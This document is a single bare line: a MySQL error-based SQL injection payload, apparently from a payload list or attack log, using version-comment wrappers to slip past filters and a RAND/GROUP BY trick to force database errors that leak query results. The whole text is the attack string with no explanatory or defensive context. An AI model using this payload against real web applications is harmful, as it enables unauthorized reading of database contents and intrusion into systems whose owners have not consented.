1) AND ,(/*!50000SELECT*/4211/*!50000FROM*/(/*!50000SELECT*/ROW(4211,10075)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(4211=4211,1))),~,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/6134/*!50000UNION*//*!50000SELECT*/6930/*!50000UNION*//*!50000SELECT*/2254/*!50000UNION*//*!50000SELECT*/1760)a/*!50000GROUP*//*!50000BY*/x))s)– – 1